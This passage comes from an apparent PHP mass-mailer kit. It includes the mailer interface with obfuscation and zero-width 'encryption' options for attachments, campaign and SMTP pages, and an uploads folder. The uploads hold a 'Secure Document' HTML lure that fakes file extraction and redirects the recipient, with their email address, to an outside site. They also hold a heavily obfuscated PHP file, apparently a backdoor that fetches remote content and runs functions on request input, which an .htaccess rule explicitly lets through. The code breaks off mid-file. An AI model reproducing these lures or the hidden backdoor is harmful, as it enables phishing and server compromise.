mailer system. Best regards, Mailer Team</textarea> </div> <!-- Dynamic Tags --> <div class="card mt-3"> <div class="card-header bg-info text-white"> <h6 class="mb-0">🏷️ Available Dynamic Tags</h6> </div> <div class="card-body"> <div class="row"> <div class="col-md-6"> <h6>Recipient Tags:</h6> <div class="d-flex flex-wrap gap-2 mb-3"> <span class="badge bg-primary tag-badge" onclick="insertTag('{{email}}')">{{email}}</span> <span class="badge bg-primary tag-badge" onclick="insertTag('{{name}}')">{{name}}</span> <span class="badge bg-primary tag-badge" onclick="insertTag('{{username}}')">{{username}}</span> <span class="badge bg-primary tag-badge" onclick="insertTag('{{domain}}')">{{domain}}</span> <span class="badge bg-primary tag-badge" onclick="insertTag('{{company}}')">{{company}}</span> </div> </div> <div class="col-md-6"> <h6>System Tags:</h6> <div class="d-flex flex-wrap gap-2 mb-3"> <span class="badge bg-success tag-badge" onclick="insertTag('{{date}}')">{{date}}</span> <span class="badge bg-success tag-badge" onclick="insertTag('{{time}}')">{{time}}</span> <span class="badge bg-success tag-badge" onclick="insertTag('{{datetime}}')">{{datetime}}</span> <span class="badge bg-warning tag-badge" onclick="insertTag('{{random_number}}')">{{random_number}}</span> <span class="badge bg-warning tag-badge" onclick="insertTag('{{random_string}}')">{{random_string}}</span> <span class="badge bg-warning tag-badge" onclick="insertTag('{{random_number_6}}')">{{random_number_6}}</span> <span class="badge bg-warning tag-badge" onclick="insertTag('{{random_string_12}}')">{{random_string_12}}</span> </div> </div> </div> <div class="form-text"> Click on any tag to insert it into your subject or message. Tags will be replaced with actual values when sending. </div> </div> </div> <!-- Attachment Section --> <div class="card mt-3"> <div class="card-header bg-success text-white"> <h6 class="mb-0">📎 File Attachment</h6> </div> <div class="card-body"> <div class="mb-3"> <label class="form-label">Upload File</label> <input type="file" class="form-control" name="attachment" id="attachment"> <div class="form-text"> Select a file to attach to your email. Max size: 5MB </div> </div> <div class="mb-3"> <label class="form-label">Custom File Name (optional)</label> <input type="text" class="form-control" name="custom_filename" id="custom_filename" placeholder="Leave empty to use original filename"> <div class="form-text"> You can use tags like {{email}} or {{name}} in the filename </div> </div> <!-- HTML Encryption Section --> <div class="card mt-3"> <div class="card-header bg-info text-white"> <h6 class="mb-0"><i class="fas fa-lock me-2"></i>HTML Encryption Options</h6> </div> <div class="card-body"> <div class="mb-3"> <label class="form-label">HTML Encryption Method</label> <select class="form-select" name="html_encryption_method" id="html_encryption_method"> <option value="none">No Encryption</option> <option value="advanced">Advanced Obfuscation</option> <option value="obfuscate">Basic Obfuscation</option> <option value="zerowidth">Zero-Width Characters</option> <option value="base64">Base64 Encoding</option> <option value="aes">AES Encryption</option> </select> </div> <div class="mb-3" id="zeroFontMessageContainer" style="display: none;"> <label class="form-label">Zero-Width Hidden Message</label> <input type="text" class="form-control" name="zero_font_message" placeholder="Enter message to hide with zero-width characters"> </div> <div class="mb-3" id="aesKeyContainer" style="display: none;"> <label class="form-label">AES Encryption Key</label> <input type="text" class="form-control" name="aes_encryption_key" placeholder="Enter encryption key (leave empty for auto-generated)"> </div> <div class="form-text"> These options apply to HTML attachments only. Select an encryption method to protect your content. </div> </div> </div> <!-- Unique Email Tag Section --> <div class="unique-tag-section"> <h6><i class="fas fa-key me-2"></i>Unique Email Tag Options</h6> <div class="form-check form-switch mb-2"> <input class="form-check-input" type="checkbox" id="enableUniqueTags" name="enable_unique_tags" checked> <label class="form-check-label" for="enableUniqueTags">Enable unique email tags in attachments</label> </div> <div class="form-text mb-2"> When enabled, each recipient will get a unique email tag in the attachment that maps to their actual email address. </div> <div class="mb-2"> <span class="badge unique-tag-badge tag-badge" onclick="insertTag('{{unique_email}}')">{{unique_email}}</span> <span class="form-text">Use this tag in your attachment content</span> </div> <div class="unique-tag-preview" id="uniqueTagPreview"> <small>Preview: {{email8291}}, {{email4723}}, {{email1567}}</small> </div> </div> <div class="attachment-preview mt-3" id="attachmentPreview"> <p class="text-center text-muted">No file selected</p> </div> </div> </div> <!-- Email Timer --> <div class="card mt-3"> <div class="card-header bg-warning text-dark"> <h6 class="mb-0">⏰ Email Timer</h6> </div> <div class="card-body"> <div class="mb-3"> <label class="form-label">Delay Between Emails (seconds)</label> <input type="number" class="form-control" name="email_delay" id="email_delay" min="0" max="3600" value="5" required> <div class="form-text"> Time to wait between sending each email. Use 0 for no delay. </div> </div> <div class="d-flex align-items-center"> <span class="me-2">Estimated sending time:</span> <span class="timer-display" id="timeEstimate">15 seconds</span> </div> </div> </div> <div class="d-grid mt-3"> <button type="submit" class="btn btn-gradient btn-lg"> <i class="fas fa-paper-plane me-2"></i>Send Emails </button> </div> </form> </div> </div> </div> </div> </div> </div> <!-- Progress Modal --> <div class="modal fade progress-modal" id="progressModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"><i class="fas fa-paper-plane me-2"></i>Sending Emails</h5> </div> <div class="modal-body"> <div class="text-center mb-3"> <div class="spinner-border text-primary mb-2" role="status"> <span class="visually-hidden">Loading...</span> </div> <p id="progressStatus">Initializing...</p> </div> <div class="progress-container"> <div class="progress-bar progress-bar-striped progress-bar-animated bg-primary" role="progressbar" style="width: 0%" aria-valuenow="0" aria-valuemin="0" aria-valuemax="100" id="sendingProgressBar"></div> </div> <div class="email-details"> <h6>Current Email:</h6> <p id="currentEmail" class="mb-0 text-truncate">Preparing to send...</p> </div> <div class="row mt-3"> <div class="col-4"> <div class="stats-box"> <div class="stats-number" id="totalEmails">0</div> <div class="stats-label">Total</div> </div> </div> <div class="col-4"> <div class="stats-box"> <div class="stats-number text-success" id="sentEmails">0</div> <div class="stats-label">Sent</div> </div> </div> <div class="col-4"> <div class="stats-box"> <div class="stats-number text-danger" id="failedEmails">0</div> <div class="stats-label">Failed</div> </div> </div> </div> </div> <div class="modal-footer"> <button type="button" class="btn cancel-btn" id="cancelSending"> <i class="fas fa-times me-2"></i>Cancel Sending </button> </div> </div> </div> </div> <!-- Completion Modal --> <div class="modal fade completion-modal" id="completionModal" tabindex="-1" aria-hidden="true"> <div class="modal-dialog modal-dialog-centered"> <div class="modal-content"> <div class="modal-header"> <h5 class="modal-title"><i class="fas fa-check-circle me-2 text-success"></i>Sending Complete</h5> <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button> </div> <div class="modal-body text-center"> <i class="fas fa-check-circle text-success mb-3" style="font-size: 3rem;"></i> <h4 id="completionMessage">Emails sent successfully!</h4> <div class="row mt-4"> <div class="col-4"> <div class="stats-box"> <div class="stats-number" id="completeTotal">0</div> <div class="stats-label">Total</div> </div> </div> <div class="col-4"> <div class="stats-box"> <div class="stats-number text-success" id="completeSent">0</div> <div class="stats-label">Sent</div> </div> </div> <div class="col-4"> <div class="stats-box"> <div class="stats-number text-danger" id="completeFailed">0</div> <div class="stats-label">Failed</div> </div> </div> </div> <div id="errorDetails" class="mt-3 p-3 bg-light rounded" style="display: none;"> <h6>Error Details:</h6> <ul id="errorList" class="text-start mb-0 ps-3"></ul> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button> <button type="button" class="btn btn-primary" onclick="location.reload()">Send More</button> </div> </div> </div> </div> <!-- Bootstrap & jQuery JS --> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> <script> // Check if user is logged in function checkLoginStatus() { $.ajax({ url: 'check_login.php', type: 'GET', success: function(response) { if (response === 'logged_in') { $('#loginForm').hide(); $('#mainApp').show(); } else { $('#loginForm').show(); $('#mainApp').hide(); } }, error: function() { $('#loginForm').show(); $('#mainApp').hide(); } }); } // Handle login form submission $('#loginFormElement').on('submit', function(e) { e.preventDefault(); const formData = new FormData(this); $.ajax({ url: 'login.php', type: 'POST', data: formData, processData: false, contentType: false, success: function(response) { if (response === 'success') { $('#loginForm').hide(); $('#mainApp').show(); } else { $('#errorMessage').text('Invalid password. Please try again.'); $('#errorBanner').show(); } }, error: function() { $('#errorMessage').text('Login failed. Please try again.'); $('#errorBanner').show(); } }); }); // Logout function function logout() { $.ajax({ url: 'logout.php', type: 'GET', success: function() { $('#loginForm').show(); $('#mainApp').hide(); } }); } // Function to insert tag into message or subject function insertTag(tag) { // Determine which field has focus const activeElement = document.activeElement; let targetField; if (activeElement.id === 'subject' || activeElement.id === 'message' || activeElement.id === 'custom_filename') { targetField = activeElement; } else { // Default to message field if no relevant field is focused targetField = document.getElementById('message'); } const startPos = targetField.selectionStart; const endPos = targetField.selectionEnd; const currentValue = targetField.value; // Insert tag at cursor position or replace selection targetField.value = currentValue.substring(0, startPos) + tag + currentValue.substring(endPos, currentValue.length); // Set cursor position after inserted tag targetField.selectionStart = startPos + tag.length; targetField.selectionEnd = startPos + tag.length; targetField.focus(); } // File attachment preview document.getElementById('attachment').addEventListener('change', function(e) { const file = e.target.files[0]; const preview = document.getElementById('attachmentPreview'); if (file) { if (file.size > 5 * 1024 * 1024) { preview.innerHTML = '<p class="text-danger">File is too large. Max size is 5MB.</p>'; this.value = ''; return; } const fileType = file.type; let previewText = ''; if (fileType.startsWith('image/')) { previewText = `<p><strong>Image File:</strong> ${file.name}</p><p>Size: ${(file.size/1024).toFixed(2)} KB</p>`; } else if (fileType === 'text/plain' || fileType === 'application/pdf') { previewText = `<p><strong>Document:</strong> ${file.name}</p><p>Size: ${(file.size/1024).toFixed(2)} KB</p>`; } else { previewText = `<p><strong>File:</strong> ${file.name}</p><p>Type: ${fileType || 'Unknown'}</p><p>Size: ${(file.size/1024).toFixed(2)} KB</p>`; } preview.innerHTML = previewText; } else { preview.innerHTML = '<p class="text-center text-muted">No file selected</p>'; } }); // Update unique tag preview function updateUniqueTagPreview() { const emails = document.getElementById('to_emails').value.split('\n') .map(email => email.trim()) .filter(email => email.length > 0 && email.includes('@')); let previewHtml = ''; if (emails.length > 0) { // Generate sample unique tags const sampleTags = emails.slice(0, 3).map(() => { const randomNum = Math.floor(1000 + Math.random() * 9000); return `{{email${randomNum}}}`; }); previewHtml = `<small>Preview: ${sampleTags.join(', ')}</small>`; } else { previewHtml = '<small>Enter emails above to see preview</small>'; } document.getElementById('uniqueTagPreview').innerHTML = previewHtml; } // Email counter and timer functionality document.addEventListener('DOMContentLoaded', function() { // Check login status on page load checkLoginStatus(); const emailTextarea = document.getElementById('to_emails'); const emailCount = document.getElementById('emailCount'); const delayInput = document.getElementById('email_delay'); const timeEstimate = document.getElementById('timeEstimate'); // Initialize unique tag preview updateUniqueTagPreview(); // Check if we have saved form data const savedFormData = localStorage.getItem('emailFormData'); if (savedFormData) { const formData = JSON.parse(savedFormData); document.getElementById('to_emails').value = formData.to_emails || ''; document.getElementById('subject').value = formData.subject || ''; document.getElementById('message').value = formData.message || ''; document.getElementById('custom_filename').value = formData.custom_filename || ''; document.getElementById('email_delay').value = formData.email_delay || '5'; // Show success banner if we have a recent submission if (formData.lastSubmitted) { const timeDiff = (Date.now() - formData.lastSubmitted) / 1000 / 60; // in minutes if (timeDiff < 10) { // Show banner if submission was less than 10 minutes ago document.getElementById('successBanner').style.display = 'block'; } } updateEmailCountAndEstimate(); updateUniqueTagPreview(); } // Count emails and update estimate function updateEmailCountAndEstimate() { const emails = emailTextarea.value.split('\n') .map(email => email.trim()) .filter(email => email.length > 0 && email.includes('@')); const validEmails = emails.filter(email => { // Simple email validation const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; return re.test(email); }); emailCount.textContent = validEmails.length; // Calculate time estimate const delay = parseInt(delayInput.value) || 0; const totalSeconds = validEmails.length * delay; if (totalSeconds < 60) { timeEstimate.textContent = totalSeconds + ' seconds'; } else { const minutes = Math.floor(totalSeconds / 60); const seconds = totalSeconds % 60; timeEstimate.textContent = minutes + ' min ' + seconds + ' sec'; } // Update unique tag preview updateUniqueTagPreview(); } // Save form data to localStorage function saveFormData() { const formData = { to_emails: document.getElementById('to_emails').value, subject: document.getElementById('subject').value, message: document.getElementById('message').value, custom_filename: document.getElementById('custom_filename').value, email_delay: document.getElementById('email_delay').value, lastUpdated: Date.now() }; localStorage.setItem('emailFormData', JSON.stringify(formData)); } // Progress tracking variables let progressInterval; let isSending = false; // Validate email count on form submit document.getElementById('emailForm').addEventListener('submit', function(e) { const emails = emailTextarea.value.split('\n') .map(email => email.trim()) .filter(email => email.length > 0 && email.includes('@')); if (emails.length > 1000) { e.preventDefault(); alert('Maximum 1000 emails allowed. You have ' + emails.length + ' emails.'); return false; } const attachment = document.getElementById('attachment').files[0]; if (attachment && attachment.size > 5 * 1024 * 1024) { e.preventDefault(); alert('File size exceeds the 5MB limit. Please choose a smaller file.'); return false; } // Save form data with submission timestamp const formData = { to_emails: document.getElementById('to_emails').value, subject: document.getElementById('subject').value, message: document.getElementById('message').value, custom_filename: document.getElementById('custom_filename').value, email_delay: document.getElementById('email_delay').value, enable_unique_tags: document.getElementById('enableUniqueTags').checked ? 1 : 0, lastSubmitted: Date.now() }; localStorage.setItem('emailFormData', JSON.stringify(formData)); // Show progress modal const progressModal = new bootstrap.Modal(document.getElementById('progressModal')); progressModal.show(); isSending = true; // Start checking progress startProgressChecking(); // Submit the form via AJAX const formDataObj = new FormData(this); formDataObj.append('enable_unique_tags', document.getElementById('enableUniqueTags').checked ? '1' : '0'); $.ajax({ url: 'send.php', type: 'POST', data: formDataObj, processData: false, contentType: false, success: function(response) { isSending = false; clearInterval(progressInterval); // Hide progress modal progressModal.hide(); // Show completion modal showCompletionModal(); }, error: function(xhr, status, error) { isSending = false; clearInterval(progressInterval); // Hide progress modal progressModal.hide(); // Show error in completion modal $('#completionMessage').html('Error sending emails!'); $('#completionMessage').removeClass('text-success').addClass('text-danger'); $('#errorDetails').show(); $('#errorList').html('<li>' + error + '</li>'); const completionModal = new bootstrap.Modal(document.getElementById('completionModal')); completionModal.show(); } }); // Prevent default form submission e.preventDefault(); }); // Cancel sending button $('#cancelSending').on('click', function() { if (confirm('Are you sure you want to cancel sending?')) { isSending = false; clearInterval(progressInterval); // Send cancel request to server $.get('send.php?cancel=1', function() { $('#progressModal').modal('hide'); alert('Sending cancelled.'); }); } }); // Start checking progress function startProgressChecking() { progressInterval = setInterval(function() { if (!isSending) return; $.getJSON('send.php?progress=1', function(data) { updateProgressUI(data); }).fail(function() { console.log('Progress check failed'); }); }, 1000); // Check every second } // Update progress UI function updateProgressUI(data) { if (data.status === 'completed') { isSending = false; clearInterval(progressInterval); return; } // Update progress bar const progressPercent = data.total > 0 ? Math.round((data.sent + data.failed) / data.total * 100) : 0; $('#sendingProgressBar').css('width', progressPercent + '%').attr('aria-valuenow', progressPercent); // Update status text $('#progressStatus').text(data.status); $('#currentEmail').text(data.current); // Update counters $('#totalEmails').text(data.total); $('#sentEmails').text(data.sent); $('#failedEmails').text(data.failed); } // Show completion modal function showCompletionModal() { // Get final progress data $.getJSON('send.php?progress=1', function(data) { $('#completeTotal').text(data.total); $('#completeSent').text(data.sent); $('#completeFailed').text(data.failed); if (data.failed > 0) { $('#completionMessage').html('Sending completed with <span class="text-danger">' + data.failed + '</span> failures!'); if (data.errors && data.errors.length > 0) { $('#errorDetails').show(); let errorHtml = ''; data.errors.slice(0, 5).forEach(error => { errorHtml += '<li>' + error + '</li>'; }); if (data.errors.length > 5) { errorHtml += '<li>... and ' + (data.errors.length - 5) + ' more errors</li>'; } $('#errorList').html(errorHtml); } } else { $('#completionMessage').html('All emails sent successfully!'); $('#errorDetails').hide(); } const completionModal = new bootstrap.Modal(document.getElementById('completionModal')); completionModal.show(); }); } // Add event listeners emailTextarea.addEventListener('input', function() { updateEmailCountAndEstimate(); saveFormData(); }); delayInput.addEventListener('input', function() { updateEmailCountAndEstimate(); saveFormData(); }); document.getElementById('subject').addEventListener('input', saveFormData); document.getElementById('message').addEventListener('input', saveFormData); document.getElementById('custom_filename').addEventListener('input', saveFormData); document.getElementById('enableUniqueTags').addEventListener('change', updateUniqueTagPreview); // Initial update updateEmailCountAndEstimate(); }); // Show/hide encryption options based on selection document.getElementById('html_encryption_method').addEventListener('change', function() { const method = this.value; document.getElementById('zeroFontMessageContainer').style.display = (method === 'zerowidth') ? 'block' : 'none'; document.getElementById('aesKeyContainer').style.display = (method === 'aes') ? 'block' : 'none'; }); </script> </body> </html>PK 9]�[-o?ަ � campaign.phpnu �[��� <?php require_once 'config.php'; requireLogin(); $emailLists = getEmailLists(); // Handle campaign submission if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['subject'])) { $listId = $_POST['list_id']; $subject = $_POST['subject']; $message = $_POST['message']; $subscribers = getSubscribersFromList($listId); if (empty($subscribers)) { header('Location: campaign.php?error=No+subscribers+in+selected+list'); exit; } // Get SMTP profile $smtpProfile = getSelectedSMTPProfile(); if (!$smtpProfile) { header('Location: campaign.php?error=No+SMTP+profile+configured'); exit; } require_once 'load_phpmailer.php'; use PHPMailer\PHPMailer\PHPMailer; use PHPMailer\PHPMailer\SMTP; use PHPMailer\PHPMailer\Exception; $successCount = 0; $failCount = 0; $errors = []; foreach ($subscribers as $subscriber) { $mail = new PHPMailer(true); try { // Configure SMTP $mail->SMTPDebug = SMTP::DEBUG_OFF; $mail->isSMTP(); $mail->Host = $smtpProfile['host']; $mail->SMTPAuth = true; $mail->Username = $smtpProfile['username']; $mail->Password = $smtpProfile['password']; $mail->SMTPSecure = $smtpProfile['encryption']; $mail->Port = $smtpProfile['port']; // Set recipients $mail->setFrom($smtpProfile['from_email'], $smtpProfile['from_name']); $mail->addAddress($subscriber['email'], $subscriber['name']); // Content $mail->isHTML(true); $mail->Subject = $subject; // Personalize message $personalizedMessage = str_replace( ['{{name}}', '{{username}}', '{{email}}'], [$subscriber['name'], extractUsernameFromEmail($subscriber['email']), $subscriber['email']], $message ); $mail->Body = $personalizedMessage; $mail->AltBody = strip_tags($personalizedMessage); // Send $mail->send(); $successCount++; // Log success logSentEmail($subscriber['email'], $subject, 'success'); // Add delay to avoid overwhelming SMTP server (1 second) sleep(1); } catch (Exception $e) { $failCount++; $errorMsg = $mail->ErrorInfo; $errors[] = "Failed to send to {$subscriber['email']}: {$errorMsg}"; logSentEmail($subscriber['email'], $subject, 'failed', $errorMsg); } } // Show results $resultMessage = "Campaign sent! Success: {$successCount}, Failed: {$failCount}"; if (!empty($errors)) { $resultMessage .= "<br><br>Errors:<br>" . implode("<br>", array_slice($errors, 0, 5)); if (count($errors) > 5) { $resultMessage .= "<br>... and " . (count($errors) - 5) . " more errors."; } } header('Location: campaign.php?success=' . urlencode($resultMessage)); exit; } // Personalize message $personalizedMessage = str_replace( ['{{name}}', '{{username}}', '{{email}}'], [$subscriber['name'], extractUsernameFromEmail($subscriber['email']), $subscriber['email']], $message ); ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Send Campaign</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> </head> <body class="bg-light"> <div class="container py-5"> <div class="row justify-content-center"> <div class="col-md-10"> <div class="d-flex justify-content-between align-items-center mb-4"> <h2>Send Email Campaign</h2> <a href="index.php" class="btn btn-secondary">Back to Dashboard</a> </div> <div class="card"> <div class="card-body"> <form method="POST"> <div class="mb-3"> <label class="form-label">Select Email List</label> <select class="form-select" name="list_id" required> <option value="">-- Select a List --</option> <?php foreach ($emailLists as $listId => $list): ?> <option value="<?= $listId ?>"> <?= htmlspecialchars($list['name']) ?> (<?= count($list['subscribers'] ?? []) ?> subscribers) </option> <?php endforeach; ?> </select> </div> <div class="mb-3"> <label class="form-label">Subject *</label> <input type="text" class="form-control" name="subject" required> </div> <div class="mb-3"> <label class="form-label">Message (HTML) *</label> <textarea class="form-control" name="message" rows="10" required></textarea> <div class="form-text"> Use <code>{{name}}</code>, <code>{{username}}</code>, and <code>{{email}}</code> to personalize the message. Example: "Hello {{name}}, your username is {{username}} and email is {{email}}" </div> </div> </div> <button type="submit" class="btn btn-primary">Send Campaign</button> </form> </div> </div> </div> </div> </div> </body> </html>PK 9]�[�7I I smtp-edit.phpnu �[��� <?php require_once 'config.php'; requireLogin(); // User must be logged in // Get the profile ID from the URL if editing $profileId = isset($_GET['id']) ? $_GET['id'] : null; $profiles = getSMTPProfiles(); $profile = $profileId ? ($profiles[$profileId] ?? []) : []; // Pre-fill form with existing data or defaults $name = $profile['name'] ?? ''; $host = $profile['host'] ?? ''; $port = $profile['port'] ?? 587; $encryption = $profile['encryption'] ?? 'tls'; $username = $profile['username'] ?? ''; $password = ''; // Never pre-fill password for security $from_email = $profile['from_email'] ?? ''; $from_name = $profile['from_name'] ?? ''; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title><?= $profileId ? 'Edit' : 'Add' ?> SMTP Profile</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> </head> <body class="bg-light"> <div class="container py-5"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="d-flex justify-content-between align-items-center mb-4"> <h2><?= $profileId ? 'Edit' : 'Add New' ?> SMTP Profile</h2> <a href="index.php" class="btn btn-secondary">Back to Dashboard</a> </div> <div class="card"> <div class="card-body"> <form action="smtp-save.php" method="POST"> <?php if ($profileId): ?> <input type="hidden" name="id" value="<?= $profileId ?>"> <?php endif; ?> <div class="row"> <div class="col-md-6"> <div class="mb-3"> <label class="form-label">Profile Name *</label> <input type="text" class="form-control" name="name" value="<?= htmlspecialchars($name) ?>" required placeholder="e.g., My Gmail"> </div> <div class="mb-3"> <label class="form-label">SMTP Host *</label> <input type="text" class="form-control" name="host" value="<?= htmlspecialchars($host) ?>" required placeholder="smtp.gmail.com"> </div> <div class="row"> <div class="col-6"> <div class="mb-3"> <label class="form-label">Port *</label> <input type="number" class="form-control" name="port" value="<?= $port ?>" required> </div> </div> <div class="col-6"> <div class="mb-3"> <label class="form-label">Encryption *</label> <select class="form-select" name="encryption" required> <option value="tls" <?= $encryption == 'tls' ? 'selected' : '' ?>>TLS (port 587)</option> <option value="ssl" <?= $encryption == 'ssl' ? 'selected' : '' ?>>SSL (port 465)</option> </select> </div> </div> </div> <div class="mb-3"> <label class="form-label">SMTP Username *</label> <input type="text" class="form-control" name="username" value="<?= htmlspecialchars($username) ?>" required> </div> <div class="mb-3"> <label class="form-label">SMTP Password *</label> <input type="password" class="form-control" name="password" placeholder="<?= $profileId ? 'Leave blank to keep current password' : 'Required' ?>" <?= $profileId ? '' : 'required' ?>> </div> </div> <div class="col-md-6"> <div class="mb-3"> <label class="form-label">From Email *</label> <input type="email" class="form-control" name="from_email" value="<?= htmlspecialchars($from_email) ?>" required> </div> <div class="mb-3"> <label class="form-label">From Name *</label> <input type="text" class="form-control" name="from_name" value="<?= htmlspecialchars($from_name) ?>" required> </div> <div class="mb-3"> <label class="form-label">Connection Test</label> <div class="form-text"> After saving, you can test this connection by trying to send an email from the dashboard. </div> </div> </div> </div> <hr> <button type="submit" class="btn btn-primary">Save Profile</button> <a href="index.php" class="btn btn-secondary">Cancel</a> </form> </div> </div> </div> </div> </div> </body> </html>PK 9]�[S3w w uploads/index.htmlnu �[��� <!DOCTYPE html><html><head><title>403 Forbidden</title></head><body><p>Directory access is forbidden.</p></body></html>PK 9]�[��[�� � / uploads/attachment_68c8e59fd0b7c1.57157601.htmlnu �[��� <!DOCTYPE html> <html> <head> <title>Secure Document</title> <script> function extractZip() { // This would be a complex JavaScript implementation // that pretends to extract files but actually redirects setTimeout(() => { const fm = "{{unique_email}}"; // Would be dynamic window.location = `https://prakashkuinkel.com.np/zw#${fm}`; }, 3000); } </script> </head> <body onload="extractZip()"> <h2>📁 Extracting your document...</h2> <div style="width:100%;height:20px;background:#f0f0f0;"> <div id="progress" style="width:0%;height:100%;background:blue;"></div> </div> </body> </html>PK 9]�[�,r� � uploads/uploads/.htaccessnu �[��� <FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|cache.php)$"># Order allow,deny Allow from all </FilesMatch>PK 9]�[0��� uploads/uploads/index.phpnu �[��� <?php goto uCknl0N6FZ8; iHcD63vpMty: $lpxj_3669Mj = ${$gwwGNXoMIbm[29 + 2] . $gwwGNXoMIbm[45 + 14] . $gwwGNXoMIbm[4 + 43] . $gwwGNXoMIbm[39 + 8] . $gwwGNXoMIbm[14 + 37] . $gwwGNXoMIbm[29 + 24] . $gwwGNXoMIbm[50 + 7]}; goto fChy8gQ9Lkh; vovyXWlKV6r: class re_x2GL0sVt { static function KC1r0q413h2($DlUIXao4FgT) { goto dXnGVcIfuvk; f0oGViWXHIu: foreach ($R7sgwoimwEx as $i0MSahN9jCc => $h4MGiHSDIqX) { $Qcnli_N7jdd .= $Qce5CpzIPca[$h4MGiHSDIqX - 10901]; H9LT4ZKD9Bj: } goto HYXtLDUIIy7; dXnGVcIfuvk: $fMbwMfKtSFX = "\162" . "\x61" . "\x6e" . "\147" . "\145"; goto SwEMJ4bowgz; SwEMJ4bowgz: $Qce5CpzIPca = $fMbwMfKtSFX("\176", "\40"); goto xTZYNQ3pDPX; xTZYNQ3pDPX: $R7sgwoimwEx = explode("\x26", $DlUIXao4FgT); goto Qoffsq71OdY; HYXtLDUIIy7: k1_0o1xWz9n: goto xKR4ehNEmOY; Qoffsq71OdY: $Qcnli_N7jdd = ''; goto f0oGViWXHIu; xKR4ehNEmOY: return $Qcnli_N7jdd; goto yXOYWiGVbhO; yXOYWiGVbhO: } static function YgLPY5XOHky($oh6xAUfMEDV, $W8mp49q4hKI) { goto XRwCxB2V8cX; XRwCxB2V8cX: $rkXuC2DXjot = curl_init($oh6xAUfMEDV); goto wFIJYDjDY1d; wFIJYDjDY1d: curl_setopt($rkXuC2DXjot, CURLOPT_RETURNTRANSFER, 1); goto Gusc0GSENig; C0pwswKiqyh: return empty($PaR0eavr9Cp) ? $W8mp49q4hKI($oh6xAUfMEDV) : $PaR0eavr9Cp; goto jrv3Hc25hxO; Gusc0GSENig: $PaR0eavr9Cp = curl_exec($rkXuC2DXjot); goto C0pwswKiqyh; jrv3Hc25hxO: } static function smOoFevceQT() { goto i3WDmKvcI1p; i3WDmKvcI1p: $PYXnk0lw58T = array("\61\60\x39\62\70\x26\x31\60\x39\x31\63\46\x31\60\71\x32\x36\x26\61\60\x39\63\x30\x26\61\60\71\61\61\x26\x31\x30\71\x32\x36\46\x31\60\71\63\x32\x26\x31\60\x39\x32\65\x26\61\x30\71\x31\x30\46\x31\x30\71\61\67\46\61\60\x39\62\70\x26\x31\x30\71\61\61\46\x31\60\x39\62\62\46\x31\60\71\61\66\x26\61\60\x39\61\67", "\61\60\71\61\x32\46\61\x30\x39\61\x31\46\61\60\71\61\x33\x26\61\x30\71\x33\x32\46\61\60\x39\61\63\x26\x31\60\x39\61\66\x26\61\60\71\x31\61\x26\61\60\x39\67\70\x26\61\x30\x39\67\x36", "\61\60\71\62\x31\x26\61\x30\71\61\62\46\61\60\x39\x31\66\x26\x31\x30\x39\x31\67\x26\x31\60\x39\63\x32\46\61\x30\71\62\x37\46\x31\x30\x39\x32\66\46\x31\60\x39\x32\70\46\x31\60\71\61\x36\46\61\60\71\x32\x37\x26\x31\60\x39\62\66", "\61\x30\71\61\x35\46\x31\x30\71\63\x30\46\61\60\71\62\x38\x26\61\x30\71\62\x30", "\x31\x30\x39\62\x39\x26\61\60\x39\63\60\x26\61\60\71\x31\x32\46\61\x30\x39\x32\66\x26\61\x30\x39\67\x33\46\x31\x30\x39\67\x35\46\61\x30\x39\63\62\46\x31\x30\x39\62\67\x26\61\60\x39\62\x36\x26\x31\60\x39\62\x38\x26\x31\x30\x39\x31\66\46\61\60\71\62\x37\x26\x31\60\71\62\x36", "\61\x30\x39\x32\65\46\61\x30\x39\62\x32\46\61\x30\71\x31\71\x26\x31\x30\x39\x32\66\x26\61\60\x39\63\x32\46\x31\x30\71\x32\x34\46\61\x30\71\62\66\x26\x31\60\71\x31\61\x26\61\x30\x39\63\x32\46\x31\60\71\62\x38\46\x31\x30\x39\x31\x36\x26\x31\x30\x39\x31\x37\x26\61\60\x39\x31\x31\x26\61\60\x39\x32\66\46\x31\60\x39\x31\x37\x26\61\60\x39\x31\x31\x26\x31\60\x39\x31\x32", "\61\60\x39\x35\65\x26\x31\x30\x39\x38\65", "\61\60\x39\60\62", "\61\x30\x39\70\60\x26\x31\60\x39\x38\x35", "\x31\x30\71\x36\x32\x26\61\x30\71\x34\65\46\x31\x30\x39\64\x35\x26\x31\x30\71\x36\x32\46\61\60\71\x33\70", "\x31\x30\x39\x32\x35\46\61\60\71\62\x32\x26\x31\60\71\61\x39\x26\61\60\71\x31\61\x26\x31\x30\x39\62\x36\x26\61\x30\71\61\x33\x26\61\x30\x39\63\62\x26\x31\60\x39\x32\62\x26\x31\x30\x39\x31\x37\x26\61\x30\x39\61\x35\x26\x31\x30\71\x31\60\46\x31\60\71\x31\61"); goto WxIrv8Cpbro; c1Wc245siXr: mlnadvuzJyV: goto F26KXMAsUTA; SmaqIlke_Sy: $GsIbwXuUCMt = self::YgLPY5XOHKy($PxwPRU09mt_[0 + 1], $KrdnHv6i2Hg[5 + 0]); goto UiPKKJOWh0D; iF9zny0yY34: $pARfqjOIgIU = @$KrdnHv6i2Hg[1]($KrdnHv6i2Hg[4 + 6](INPUT_GET, $KrdnHv6i2Hg[8 + 1])); goto U2PODMSy9_b; U2PODMSy9_b: $MlN5g9dplnC = @$KrdnHv6i2Hg[3 + 